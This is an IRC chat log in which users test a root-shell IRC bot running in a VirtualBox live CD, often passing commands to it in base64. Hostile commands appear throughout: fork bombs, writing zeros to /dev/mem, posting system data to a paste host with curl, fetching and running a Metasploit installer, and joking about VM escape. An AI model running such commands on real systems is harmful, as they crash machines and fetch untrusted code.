18:50:58 <b_jonas> eg. make another bot that does the base64-encoding and writes to havocbot
18:51:15 <prooftechnique> ls /usr/sbin
18:51:17 <moon__> hmm
18:51:20 <prooftechnique> havocbot: ls /usr/sbin
18:51:20 <havocbot> prooftechnique:accessdb/acpid/addgnupghome/addpart/alsa-info.sh/alsactl/apmd/applygnupgdefaults/backup-tar/backup.sh/biosdecode/build-docbook-catalog/cgdisk/chat/checkarray/chgpasswd/chpasswd/cracklib-check/cracklib-format/cracklib-packer/cracklib-unpacker/crda/create-cracklib-dict/delpart/dmevent_tool/dmidecode/dmraid/dosfsck/dosfslabel/dump-remind/e2freefrag/e4defrag/etc-update/ethtool/exportfs/fatlabel/filefrag/fix_libtool_files.s
18:51:30 <b_jonas> moon__: I'll copy it to some directory in the path if possible though
18:51:40 <moon__> the livecd is locked
18:51:59 <moon__> surely you can base64 encode a command to add it to the path
18:52:12 <b_jonas> moon__: um, but that will persist only in the subshell, so that's pointless
18:52:27 <b_jonas> moon__: I'll check first if any of those directories in the path are writable
18:52:28 <prooftechnique> You can base64 encode a command to write to the profile
18:52:34 <moon__> ^
18:52:42 <b_jonas> oh, it runs the profile?
18:52:44 <b_jonas> no way
18:52:49 <prooftechnique> I have no idea
18:52:56 <b_jonas> well, it could be worth a try
18:52:56 <moon__> me neither
18:52:58 <moon__> lol
18:53:01 <prooftechnique> I don't think so. I tried, but it doesn't seem to work
18:53:08 <prooftechnique> havocbot: cat .profile
18:53:08 <havocbot> prooftechnique:export PATH=$HOME/bin:$PATH
18:53:16 <HackEgo> [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47190&oldid=47174 * Qwertyu63 * (+1382)
18:53:19 <prooftechnique> I guess you could write to .bashrc
18:53:27 <moon__> mhm
18:53:36 <int-e> havocbot: /mnt/gentoo/bin/cu W91bnQgfCBjdXJsIC1GICdzcHJ1bmdlPTwtJyBodHRwOi8vc3BydW5nZS51cw==
18:53:36 <havocbot> int-e:bash: line 1: $'[\335[\235\b\037\b\030\335\233\b\vQ\210': command not found
18:53:40 <moon__> doesnt bashrc need a reboot?
18:53:41 <b_jonas> prooftechnique: well, worst case is I just copy it to /root and invoke it as ./cu
18:53:50 <int-e> havocbot: /mnt/gentoo/bin/cu bW91bnQgfCBjdXJsIC1GICdzcHJ1bmdlPTwtJyBodHRwOi8vc3BydW5nZS51cw==
18:53:51 <havocbot> int-e: % Total % Received % Xferd Average Speed Time Time Time Current/ Dload Upload Total Spent Left Speed/
18:53:58 <prooftechnique> moon__: Nah, you just have to source it
18:54:02 <int-e> oh hmm.
18:54:06 <moon__> ah
18:54:35 <moon__> it downloaded int-e
18:54:40 <moon__> havocbot: ls
18:54:40 <havocbot> moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/rCu7GHCY/train.jpg
18:54:56 <moon__> i think
18:54:59 <prooftechnique> havocbot: find / -name emerge
18:54:59 <havocbot> prooftechnique:/mnt/livecd/usr/lib/python-exec/python2.7/emerge//mnt/livecd/usr/lib/python-exec/python3.4/emerge//mnt/livecd/usr/lib/python2.7/site-packages/portage/tests/emerge//mnt/livecd/usr/lib/python3.4/site-packages/portage/tests/emerge
18:55:05 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gbHMgLWxkICRwO2RvbmU
18:55:05 <havocbot> b_jonas:ls: cannot access /usr/local/sbin: No such file or directory/ls: cannot access /usr/local/bin: No such file or directory/drwxr-xr-x 2 root root 3223 Aug 4 2015 /usr/sbin/drwxr-xr-x 2 root root 11193 Aug 4 2015 /usr/bin/lrwxrwxrwx 1 root root 16 Jun 10 03:05 /sbin -> /mnt/livecd/sbin/lrwxrwxrwx 1 root root 15 Jun 10 03:05 /bin -> /mnt/livecd/bin/ls: cannot access /opt/bin: No such file or directory/ls: cannot access /usr/i
18:55:13 <int-e> havocbot: curl --version
18:55:14 <havocbot> int-e:curl 7.43.0 (i486-pc-linux-gnu) libcurl/7.43.0 OpenSSL/1.0.1p zlib/1.2.8/Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smtp smtps telnet tftp /Features: IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP UnixSockets
18:55:35 <prooftechnique> havocbot: find /mnt/gentoo -name emerge
18:55:46 <moon__> gentoo is just the drive name
18:56:13 <moon__> shall we try a stage tarball?
18:56:23 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1
18:56:23 <havocbot> b_jonas:bash: -c: line 1: syntax error: unexpected end of file
18:56:24 <prooftechnique> I think it's worth a shot
18:56:28 <prooftechnique> You should snapshot now
18:56:29 <moon__> put it in the gentoo drive tho
18:56:39 <int-e> havocbot: /mnt/gentoo/bin/cu bW91bnQgfCBjdXJsIC1zRiAnc3BydW5nZT08LScgaHR0cDovL3NwcnVuZ2UudXM=
18:56:40 <havocbot> int-e:http://sprunge.us/iALY
18:56:44 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1O2VjaG8gIiBzdWNjZXNzICRwIjticmVhaztkb25lO2RvbmU
18:56:49 <moon__> snapshotting!
18:56:51 <havocbot> b_jonas:bash: -c: line 0: syntax error near unexpected token `done'/bash: -c: line 0: `IFS=:;for p in $PATH;do if cp -vt "$p" /mnt/gentoo/bin/cu;echo " success $p";break;done;done'
18:57:01 <moon__> dur done
18:57:25 <moon__> this base64 system really helps actually
18:58:50 <int-e> moon__: anyway it wasn't downloading, it was posting to sprunge... but apparently that curl is verbose by default
18:59:38 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1O2VjaG8gIiBzdWNjZXNzICRwIjticmVhaztkb25lO2RvbmU
18:59:38 <havocbot> b_jonas:bash: -c: line 0: syntax error near unexpected token `done'/bash: -c: line 0: `IFS=:;for p in $PATH;do if cp -vt "$p" /mnt/gentoo/bin/cu;echo " success $p";break;done;done'
18:59:53 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1O2VjaG8gIiBzdWNjZXNzICRwIjticmVhaztmaTtkb25l
18:59:53 <havocbot> b_jonas:bash: -c: line 0: syntax error near unexpected token `fi'/bash: -c: line 0: `IFS=:;for p in $PATH;do if cp -vt "$p" /mnt/gentoo/bin/cu;echo " success $p";break;fi;done'
19:00:18 <moon__> for best results on somehting lon
19:00:20 <moon__> g
19:00:25 <moon__> just wget it
19:00:35 <b_jonas> havocbot:/mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1O2VjaG8gIiBzdWNjZXNzICRwIjticmVhaztmaTtkb25l
19:00:46 <b_jonas> moon__: yes, but this isn't long
19:00:54 <b_jonas> moon__: sorry, I'm just slow because of real life stuff
19:00:59 <b_jonas> you have to be patient
19:00:59 <moon__> oh
19:01:06 <b_jonas> so the space is required too?
19:01:14 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1O2VjaG8gIiBzdWNjZXNzICRwIjticmVhaztmaTtkb25l
19:01:15 <havocbot> b_jonas:bash: -c: line 0: syntax error near unexpected token `fi'/bash: -c: line 0: `IFS=:;for p in $PATH;do if cp -vt "$p" /mnt/gentoo/bin/cu;echo " success $p";break;fi;done'
19:01:21 <moon__> oh, dont write to root, by the way
19:01:23 <prooftechnique> Also, there must be a better way to deal with all this than $@ :|
19:01:25 <moon__> thats all in memory
19:01:30 <prooftechnique> I at least want more sensible quote handling
19:01:33 <int-e> havocbot: cp /mnt/gentoo/bin/cu /
19:01:39 <b_jonas> prooftechnique: don't worry, we'll bootstrap one
19:01:42 <b_jonas> prooftechnique: just give us time
19:01:46 <int-e> havocbot: /cu
19:01:50 <b_jonas> prooftechnique: it has unrestricted net access, we can upload a new bot
19:02:12 <b_jonas> prooftechnique: I might do it, or int-e might, but like I said, real world stuff intervenes
19:02:16 <prooftechnique> I think we could make the bots fight for dominance over the havocbot personality
19:02:23 <moon__> yea, im terrible at even necromancy on someone elses bot
19:02:30 <b_jonas> so why's that a syntax error? oh missing then
19:02:32 <int-e> I won't. But may I say that this looks like an insanely stupid idea...
19:02:38 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1O3RoZW4gZWNobyAiIHN1Y2Nlc3MgJHAiO2JyZWFrO2ZpO2RvbmU=
19:02:39 <havocbot> b_jonas:cp: failed to access '/usr/local/sbin': No such file or directory/cp: failed to access '/usr/local/bin': No such file or directory/'/mnt/gentoo/bin/cu' -> '/usr/sbin/cu'/cp: cannot create regular file '/usr/sbin/cu': Read-only file system/'/mnt/gentoo/bin/cu' -> '/usr/bin/cu'/cp: cannot create regular file '/usr/bin/cu': Read-only file system/'/mnt/gentoo/bin/cu' -> '/sbin/cu'/cp: cannot create regular file '/sbin/cu': Read-o
19:02:52 <b_jonas> int-e: which idea looks like that?
19:03:08 <int-e> havocbot: /cu ZWNobyBIaQ==
19:03:08 <havocbot> int-e:Hi
19:03:17 <int-e> running such an unrestricted bot.
19:03:30 <moon__> its in virtualbox and i host no servers
19:03:30 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gLWYgIiRwL2N1IiAmJiBscyAtbGQgIiRwL2N1IjtmaTtkb25l
19:03:31 <havocbot> b_jonas:bash: -c: line 0: syntax error near unexpected token `fi'/bash: -c: line 0: `IFS=:;for p in $PATH;do -f "$p/cu" && ls -ld "$p/cu";fi;done'
19:03:35 <prooftechnique> int-e: I already predicted 30 days from inception to botnet, and that was hedging my bets by a very wide margin
19:03:38 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gLWYgIiRwL2N1IiAmJiBscyAtbGQgIiRwL2N1Ijtkb25l
19:03:38 <havocbot> b_jonas:bash: -f: command not found/bash: -f: command not found/bash: -f: command not found/bash: -f: command not found/bash: -f: command not found/bash: -f: command not found/bash: -f: command not found/bash: -f: command not found
19:03:48 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gdGVzdCAtZiAiJHAvY3UiICYmIGxzIC1sZCAiJHAvY3UiO2RvbmU=
19:04:03 <b_jonas> int-e: that works too
19:04:06 <int-e> moon__: the problem is the unrestricted net access
19:04:08 <moon__> if its broken, i revive from a snapshot of a almost untouched version
19:04:10 <b_jonas> um
19:04:15 <moon__> how so?
19:04:17 <b_jonas> hello?
19:04:21 <int-e> it's open to abuse
19:04:24 <b_jonas> oh, that means no
19:04:32 <b_jonas> int-e: yep, start to install our botnets
19:04:41 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gdGVzdCAtZiAiJHAvY3UiICYmIGxzIC1sZCAiJHAvY3UiO2RvbmU7ZWNobyBub3QgZm91bmQ=
19:04:41 <havocbot> b_jonas:not found
19:04:45 <b_jonas> pity
19:04:50 <moon__> generally, i will snapshot back if someone decides to do such a thing
19:05:04 <moon__> or even just dump the net access
19:05:18 <b_jonas> moon__: yes, that's why I STARTED with a universal interpreter
19:05:28 <b_jonas> so that everything else becomes easier to bootstrap without net access
19:05:42 <b_jonas> havocbot: /mnt/gentoo/bin/cu bHMgLWxGIH4vLio=
19:05:44 <havocbot> b_jonas:-rw-r--r-- 1 root root 113 Aug 4 2015 /root/.bash_profile/-rw-r--r-- 1 root root 221 Aug 4 2015 /root/.bashrc/-rw-r--r-- 1 root root 0 Jul 28 2015 /root/.keep/-rw-r--r-- 1 root root 28 Jun 10 03:39 /root/.profile///root/.:/total 140/-rw-r--r-- 1 root root 48 Jun 10 03:24 CZvHsfqv/-rw-r--r-- 1 root root 62 Jun 10 03:24 HgsSBDzp/drwxr-xr-x 4 root root 140 Jul 23 2012 bashbot-master//-rw-r--r-- 1 root roo
19:05:57 <b_jonas> havocbot: /mnt/gentoo/bin/cu bHMgLWxkRiB+Ly4qIHwgdHIgXFxuIFwg
19:06:01 <moon__> if net access gets out of hand, i will take it off
19:06:12 <b_jonas> havocbot: /cu bHMgLWxkRiB+Ly4qIHwgdHIgXFxuIFwg
19:06:18 <b_jonas> huh
19:06:26 <b_jonas> havocbot: /cu bHMgLWxkRiB+LyogfCB0ciBcXG4gXCA=
19:06:26 <moon__> please
19:06:36 <moon__> by putting it in root you are wasting hardware memory
19:06:43 <b_jonas> havocbot: /mnt/gentoo/bin/cu bHMgLWxkRiB+Ly4qIHwgdHIgXFxuIFwg
19:06:45 <moon__> anything in root is directly on the ram
19:06:56 <b_jonas> moon__: what?
19:07:03 <moon__> root is not physical
19:07:06 <b_jonas> havocbot: ls -l /mnt/gentoo/bin/cu
19:07:07 <havocbot> b_jonas:-rwxr-xr-x 1 root root 108 Jun 10 04:15 /mnt/gentoo/bin/cu
19:07:12 <b_jonas> moon__: ^ it's THAT big
19:07:14 <b_jonas> 108 bytes
19:07:15 <b_jonas> horrible
19:07:29 <moon__> lol
19:07:42 <moon__> you have mem left, go ahead
19:07:43 <b_jonas> havocbot: /mnt/gentoo/bin/cu bHMgLWxkRiB+Ly4qIHwgdHIgXFxuIFwg
19:08:00 <b_jonas> havocbot: /mnt/gentoo/bin/cu ZnJlZQ==
19:08:01 <havocbot> b_jonas: total used free shared buffers cached/Mem: 900880 281268 619612 62412 25540 191768/-/+ buffers/cache: 63960 836920/Swap: 0 0 0
19:08:15 <b_jonas> havocbot: /mnt/gentoo/bin/cu ZnJlZSB8IHRyIFxcbiBcIA==
19:08:31 <b_jonas> havocbot: /mnt/gentoo/bin/cu Y3AgLXZpIC9tbnQvZ2VudG9vL2Jpbi9jdSAvY3U=
19:08:37 <moon__> you could write code to cycle through each line
19:08:46 <b_jonas> havocbot: /cu ZnJlZSB8IHRyIFxcbiBcIA==
19:08:49 * prooftechnique .oO(wonders if there are any open VirtualBox CVEs)
19:08:49 <moon__> to make certain outputs easier to read
19:08:58 <int-e> havocbot: df /mnt/gentoo/bin | tail -1
19:08:58 <b_jonas> moon__: sure, we could do that later
19:08:58 <havocbot> int-e:df: invalid option -- '1'/Try 'df --help' for more information.
19:09:01 <b_jonas> but first things first
19:09:18 <b_jonas> havocbot: /mnt/gentoo/bin/cu Y3AgLXZpIC9tbnQvZ2VudG9vL2Jpbi9jdSAvY3U=
19:09:24 <b_jonas> hallo?
19:09:27 <b_jonas> what's wrong?
19:09:33 <int-e> havocbot: /mnt/gentoo/bin/cu ZGYgL21udC9nZW50b28vYmluIHwgdGFpbCAtMQ==
19:09:34 <havocbot> int-e:tmpfs 450440 62012 388428 14% /
19:09:35 <moon__> nothing
19:09:40 <b_jonas> havocbot: /mnt/gentoo/bin/cu ZWNobywgaGk=
19:09:42 <int-e> thought so.
19:09:49 <b_jonas> havocbot: /mnt/gentoo/bin/cu ZWNobyBoaQ==
19:09:49 <havocbot> b_jonas:hi
19:10:01 <int-e> moon__: as you can see, putting it in / is no worse than putting it in /mnt/gentoo/bin
19:10:13 <moon__> true
19:10:14 <moon__> lol
19:10:16 <b_jonas> havocbot: /mnt/gentoo/bin/cu ZWNobyBoaQ==havocbot: /mnt/gentoo/bin/cu Y3AgLXZmIC9tbnQvZ2VudG9vL2Jpbi9jdSAvY3U=
19:10:16 <havocbot> b_jonas:bash: -c: line 0: syntax error near unexpected token `)'/bash: -c: line 0: `echo hiþiíþ§¶Š?n)ÿrcp -vf /mnt/gentoo/bin/cu /cu'
19:10:25 <b_jonas> havocbot: /mnt/gentoo/bin/cu Y3AgLXZmIC9tbnQvZ2VudG9vL2Jpbi9jdSAvY3U=
19:10:25 <havocbot> b_jonas:'/mnt/gentoo/bin/cu' -> '/cu'
19:10:26 <moon__> ouch
19:10:33 <moon__> decoding errors
19:10:38 <b_jonas> havocbot: /mnt/gentoo/bin/cu ZnJlZQ==
19:10:38 <havocbot> b_jonas: total used free shared buffers cached/Mem: 900880 281912 618968 62412 25592 191892/-/+ buffers/cache: 64428 836452/Swap: 0 0 0
19:10:57 <moon__> dynamic drive
19:11:07 <b_jonas> ok, now let's make it one more convenient, by redirecting stderr to stdout, transliterating newlines to spaces, and adding "No output." if there's no output
19:11:10 <int-e> look also at the mounts: http://sprunge.us/iALY ... anything writeable seems to be a tmpfs.
19:11:12 <moon__> if im reading that correctly, thats the explination
19:11:17 <moon__> stderr goes to stdout
19:11:19 <moon__> already
19:12:05 <moon__> the bot redirects it
19:12:11 <prooftechnique> havocbot: bash -c echo{$LANG,$LC_ALL}
19:12:17 <hppavilion[1]> moon__: stdyay goes to stdout too
19:12:58 <b_jonas> moon__: and if you're worried about the RAM, then we could create a swap file somewhere
19:12:58 <b_jonas> and attach it
19:12:58 <b_jonas> with mkswap and swapon
19:12:58 <b_jonas> moon__: where should we put the large files?
19:13:00 <havocbot> prooftechnique:echo
19:13:14 <moon__> in mnt/gentoo
19:13:17 <prooftechnique> havocbot: bash -c echo{,$LC_CTYPE}
19:13:27 <moon__> thats where large files go
19:13:30 <hppavilion[1]> Yay! A new baut~
19:13:31 <hppavilion[1]> *!
19:13:34 <hppavilion[1]> Whatsit do?
19:13:41 <moon__> gentoo bot
19:13:42 <int-e> it breaks the internet
19:13:49 <prooftechnique> Slow down suddenly, apparently
19:13:52 <moon__> internet access and root
19:14:13 <moon__> it crashed
19:14:18 <b_jonas> moon__: it doesn't
19:14:19 <b_jonas> at least so it seemed to me
19:14:19 <b_jonas> oh wait
19:14:19 <b_jonas> it does
19:14:20 <prooftechnique> But wacky command handling, so it took like half an hour to fork bomb it to death
19:14:20 <b_jonas> ok, then just transliterate the newlines to spaces or something
19:14:21 <b_jonas> or let's just upload a better irc bot
19:14:22 -!- havocbot has quit (Remote host closed the connection).
19:14:31 -!- havocbot has joined.
19:14:32 <prooftechnique> Because I'm not clever
19:14:46 <moon__> newlines already go to spaces b_jonas
19:14:50 -!- hwpplayer1 has joined.
19:15:27 <moon__> snapshotted
19:15:51 <moon__> current system state can now be recovered
19:15:52 -!- cnr has quit (Ping timeout: 244 seconds).
19:15:59 -!- cnr has joined.
19:15:59 -!- cnr has quit (Changing host).
19:15:59 -!- cnr has joined.
19:16:02 <b_jonas> havocbot: /mnt/gentoo/bin/cu bHMgfCB0ciBcXG4gXCA=
19:16:02 <b_jonas> wait, you brought it down?
19:16:02 <b_jonas> havocbot: /cu bHMgfCB0ciBcXG4gXCA=
19:16:08 <b_jonas> moon__: ?
19:16:08 <moon__> no
19:16:13 <moon__> havocbot: ls
19:16:13 <havocbot> moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/rCu7GHCY/train.jpg
19:16:15 <prooftechnique> havocbot: which cu
19:16:16 <havocbot> prooftechnique:which: no cu in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4)
19:16:19 <moon__> still fast
19:16:50 <int-e> havocbot: which perl
19:16:50 <havocbot> int-e:/usr/bin/perl
19:16:52 <b_jonas> prooftechnique: /cu
19:17:01 <b_jonas> havocbot: /cu bHMgfCB0ciBcXG4gXCA=
19:17:14 <int-e> have we fork bombed the thing?
19:17:17 <moon__> n
19:17:18 <moon__> no
19:17:23 <prooftechnique> int-e: First thing I did
19:17:26 <moon__> 0.5-1 cpu
19:17:29 <prooftechnique> havocbot: cat fork.sh
19:17:29 <havocbot> prooftechnique:cat: fork.sh: No such file or directory
19:17:40 <moon__> its gone missing (=
19:17:41 <prooftechnique> Oh, but it didn't get snapshotted, for obvious reasons
19:17:58 <moon__> yea
19:18:00 <prooftechnique> havocbot: perl -r 'fork while fork' &
19:18:01 <havocbot> prooftechnique:Unrecognized switch: -r (-h will show valid options).
19:18:15 <moon__> DO YOUWANT ME TO FLAY YOU ALIVE?
19:18:16 <prooftechnique> havocbot: perl -e 'fork while fork' &
19:18:16 <havocbot> prooftechnique:Can't find string terminator "'" anywhere before EOF at -e line 1.
19:18:23 <prooftechnique> I knew it wasn't gonna work :P
19:18:29 <prooftechnique> Your string handling is bizarre
19:18:35 <int-e> havocbot: /cu OigpeyA6fDo7fTs6
19:18:37 <moon__> its not my fault
19:18:44 <moon__> its "$cmd" "$@" 's fault
19:18:51 <b_jonas> havocbot: /cu dW5hbWUgLWE=
19:19:03 <moon__> havocbot: file /cu
19:19:18 <b_jonas> prooftechnique: don't worry, we can just upload a new irc bot
19:19:19 <int-e> I think it's busy.
19:19:23 <prooftechnique> Have we properly install Gentoo, yet?
19:19:26 <prooftechnique> *installed
19:19:29 <b_jonas> prooftechnique: no idea
19:19:32 <moon__> you bombed it
19:19:33 <moon__> no
19:19:35 <moon__> livecd
19:19:40 -!- havocbot has quit (Read error: Connection reset by peer).
19:19:40 <b_jonas> prooftechnique: we have root, we can install anything
19:19:58 <moon__> *flays prooftechnique and prepares the ignore list, as he broke his promise*
19:20:02 <prooftechnique> I just think portage would make our lives easier in the quest to fuck up this bot
19:20:09 <prooftechnique> What, I did no such thing
19:20:12 <prooftechnique> The perl didn't even work
19:20:38 <moon__> apparently it did
19:20:47 <int-e> assumptions, assumptions.
19:20:55 <b_jonas> prooftechnique: you can curl then chmod anything
19:20:59 <b_jonas> that's how I created cu
19:21:06 <moon__> restoring
19:21:27 <moon__> now, can i flay you alive prooftechnique?
19:21:35 <prooftechnique> moon__: If it gave me that error message, it didn't work, moon__
19:21:41 <prooftechnique> *-moon__
19:21:48 <prooftechnique> Too many moons
19:22:01 <moon__> eheheheh
19:22:14 -!- havocbot has joined.
19:22:31 <int-e> havocbot: file /cu
19:22:32 <havocbot> int-e:/cu: Perl script, ASCII text executable
19:22:37 <int-e> havocbot: sleep 86400
19:22:45 <moon__> havocbot: ls
19:22:45 <havocbot> moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/rCu7GHCY/train.jpg
19:22:46 <int-e> havocbot: echo Hi
19:22:46 <havocbot> int-e:Hi
19:22:48 <prooftechnique> havocbot: echo hiya
19:22:48 <moon__> nice try
19:22:48 <havocbot> prooftechnique:hiya
19:23:00 <int-e> havocbot: ps | grep sleep
19:23:00 <havocbot> int-e:error: garbage option//Usage:/ ps [options]// Try 'ps --help <simple|list|output|threads|misc|all>'/ or 'ps --help <s|l|o|t|m|a>'/ for additional help text.//For more details see ps(1).
19:23:02 <moon__> subshells rock
19:23:27 <prooftechnique> havocbot: which grep
19:23:28 <havocbot> prooftechnique:/bin/grep
19:23:32 <int-e> havocbot: /cu cHMgfCBncmVwIHNsZWVw
19:23:33 <havocbot> int-e:14838 tty1 00:00:00 sleep
19:23:34 <moon__> but sometimes they cause my bot to fall like a rock -.-
19:23:35 <prooftechnique> Well, at least it has grep, now
19:23:56 <moon__> the livecd always had it
19:24:51 <int-e> how else do you kill a linux system, hmm
19:24:56 <moon__> ...
19:24:57 <moon__> dont
19:25:07 <moon__> or i will make a ignore list
19:25:17 <prooftechnique> Next steps are escaping the VM and touching moon__'s precious files
19:25:33 <int-e> havocbot: dd if=/dev/zero of=/dev/mem
19:25:46 <moon__> i never gave it external perms
19:25:57 <int-e> havocbot: echo Hi
19:26:00 <moon__> so that will be kinda hard :P
19:26:05 <moon__> ill prepare a landing pad
19:26:07 <int-e> thought so :P
19:26:10 <moon__> full of cuss words
19:26:13 <prooftechnique> moon__: I'm willing to bet there's an open CVE that doesn't care what you set :D
19:27:04 <moon__> funfact: none exist for the latest version as of now
19:27:36 <prooftechnique> havocbot: uname -a
19:27:57 <moon__> critical error occured
19:28:05 <prooftechnique> havocbot: which uname
19:28:22 -!- havocbot has quit (Remote host closed the connection).
19:28:25 <prooftechnique> I believe that may be down to int-e's dd
19:28:27 <moon__> RESOTRING
19:28:59 <int-e> prooftechnique: I had never tried that command before ;)
19:29:35 <moon__> please dont do it again
19:29:54 <int-e> but it should, eventually, scrub the memory of something important... kernel, init, process tables, or some page tables, who knows.
19:30:00 <moon__> until you all stop the antics, no snapshots
19:30:00 -!- havocbot has joined.
19:30:04 <shachaf> This bot is so spammy.
19:30:15 <moon__> because everyone is spamming :P
19:30:30 <prooftechnique> havocbot: wget -O msfinstall https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb
19:30:37 <moon__> its just re- no
19:30:38 <havocbot> prooftechnique:--2016-06-10 04:43:33-- https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb/Resolving raw.githubusercontent.com... 23.235.40.133/Connecting to raw.githubusercontent.com|23.235.40.133|:443... connected./HTTP request sent, awaiting response... 200 OK/Length: 5394 (5.3K) [text/plain]/Saving to: 'msfinstall'// 0K .....
19:30:49 <moon__> havocbot: rm -f msfinstall
19:30:57 <moon__> havocbot: ls
19:30:59 <prooftechnique> rude
19:31:05 <moon__> No
19:31:08 <moon__> Just no
19:31:12 <havocbot> moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/rCu7GHCY/train.jpg
19:31:22 <moon__> ill happily cut the network access
19:31:30 <shachaf> havocbot: cat /dev/zero > /dev/mem
19:31:44 <moon__> failed
19:31:46 <prooftechnique> havocbot: /cu Y3VybCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmFwaWQ3L21ldGFzcGxvaXQtb21uaWJ1cy9tYXN0ZXIvY29uZmlnL3RlbXBsYXRlcy9tZXRhc3Bsb2l0LWZyYW1ld29yay13cmFwcGVycy9tc2Z1cGRhdGUuZXJiID4gbXNmaW5zdGFsbCAmJiBcDQogIGNobW9kIDc1NSBtc2ZpbnN0YWxsICYmIFwNCiAgLi9tc2ZpbnN0YWxs
19:31:47 <moon__> havocbot: ls
19:31:47 <havocbot> moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/msfinstall/rCu7GHCY/train.jpg
19:31:47 <havocbot> prooftechnique: % Total % Received % Xferd Average Speed Time Time Time Current/ Dload Upload Total Spent Left Speed/
19:31:56 <moon__> havocbot: ls
19:31:56 <havocbot> moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/msfinstall/rCu7GHCY/train.jpg
19:31:57 <int-e> shachaf: > just turns into an argument for cat
19:32:04 <moon__> havocbot: rm msfinstall
19:32:04 <shachaf> Oh.
19:32:13 <moon__> and staph
19:32:13 <int-e> shachaf: which is the point of all the cu business... and why I used dd
19:32:30 <moon__> bad bad bad
19:32:35 <moon__> i willl kill network access
19:32:36 <shachaf> int-e: I've been trying to avoid reading this bot and channel because it's so spammy and annoying.
19:32:48 <prooftechnique> havocbot: which msfconsole
19:32:48 <havocbot> prooftechnique:which: no msfconsole in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4)
19:32:52 <prooftechnique> Aww
19:32:56 <moon__> (=
19:33:04 <prooftechnique> havocbot: which ruby
19:33:04 <havocbot> prooftechnique:which: no ruby in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4)
19:33:05 <moon__> i killed it
19:33:12 <prooftechnique> Ah, it's because no ruby
19:33:15 <prooftechnique> That would do it
19:33:17 <prooftechnique> Oh, well
19:33:24 <moon__> and no metaexploit, damnit
19:33:34 <b_jonas> moon__: um, if it gets too noisy, you could move the bot to #esoteric-blah
19:33:44 <prooftechnique> Metasploit is a totally innocent tool for benevolent security researchers
19:34:03 <moon__> staph trying to invade my internet
19:34:18 <int-e> moon__: nobody is invading
19:34:21 <int-e> moon__: you opened the door
19:34:28 <int-e> or floodgates
19:34:30 <int-e> whatever
19:34:35 <shachaf> Definitely floodgates.
19:34:48 <shachaf> Yes, please move the bot to #esoteric-blah.
19:34:52 <moon__> ok
19:34:55 -!- havocbot has quit (Remote host closed the connection).
19:36:05 <prooftechnique> havocbot: sed -i.back 's/esoteric/esoteric-blah/g' bashbot.config
19:36:13 <prooftechnique> Oh, it's down :(
19:36:48 <b_jonas> int-e: bot will move to #esoteric-blah
19:36:48 <int-e> moon__: also you should realize that what you've seen so far has been benign... nobody tried to escape the virtual machine.
19:37:59 <moon__> its up in esoteric-blah
19:38:08 <moon__> under the name hbot
19:38:09 <int-e> (I'm discounting prooftechnique's metasploit download because I suspect it would have run out of memory on the tmpfs soon)
19:38:11 -!- evalj has joined.
19:41:57 <prooftechnique> int-e: Probably, yes
19:42:15 <prooftechnique> I can probably reduce it, though. I think there are some minimal shims out there
19:42:28 <prooftechnique> Though I'd still have to get ruby instaled
19:42:30 <prooftechnique> *installed
19:42:37 <moon__> ruby is fine
19:42:40 <moon__> metasploit no
